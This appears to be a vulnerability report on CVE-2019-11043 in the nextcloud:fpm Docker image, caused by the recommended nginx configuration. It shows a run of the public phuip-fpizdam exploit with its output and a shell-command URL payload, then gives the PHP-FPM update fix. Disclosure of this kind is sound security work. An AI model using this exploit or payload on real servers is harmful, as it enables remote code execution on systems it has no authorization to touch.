How it was found

The CVE-2019-11043 vulnerability can be exploited in the latest nextcloud:fpm image.

This is due to the specific nginx configuration recommended for nextcloud: https://github.com/nextcloud/docker#base-version---fpm https://github.com/nextcloud/documentation/blob/master/admin_manual/installation/nginx.rst https://github.com/nextcloud/docker/blob/master/.examples/docker-compose/with-nginx-proxy/mariadb/fpm/web/nginx.conf

Here's the exploit: https://github.com/neex/phuip-fpizdam

Sample exploit run:

./phuip-fpizdam http://localhost:8080/ocs/v2.php

2019/10/22 19:36:29 Base status code is 200 2019/10/22 19:36:30 Status code 502 for qsl=1765, adding as a candidate 2019/10/22 19:36:31 The target is probably vulnerable. Possible QSLs: [1755 1760 1765] 2019/10/22 19:36:48 Attack params found: --qsl 1760 --pisos 191 --skip-detect 2019/10/22 19:36:48 Trying to set "session.auto_start=0"... 2019/10/22 19:36:50 Detect() returned attack params: --qsl 1760 --pisos 191 --skip-detect <-- REMEMBER THIS 2019/10/22 19:36:50 Performing attack using php.ini settings... 2019/10/22 19:36:52 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/22 19:36:52 Trying to cleanup /tmp/a... 2019/10/22 19:36:52 Done!

To fix the issue, you need to update PHP-FPM version in the nextcloud:fpm image. Reference: https://bugs.php.net/bug.php?id=78599

Impact

Execute arbitrary PHP code on the target server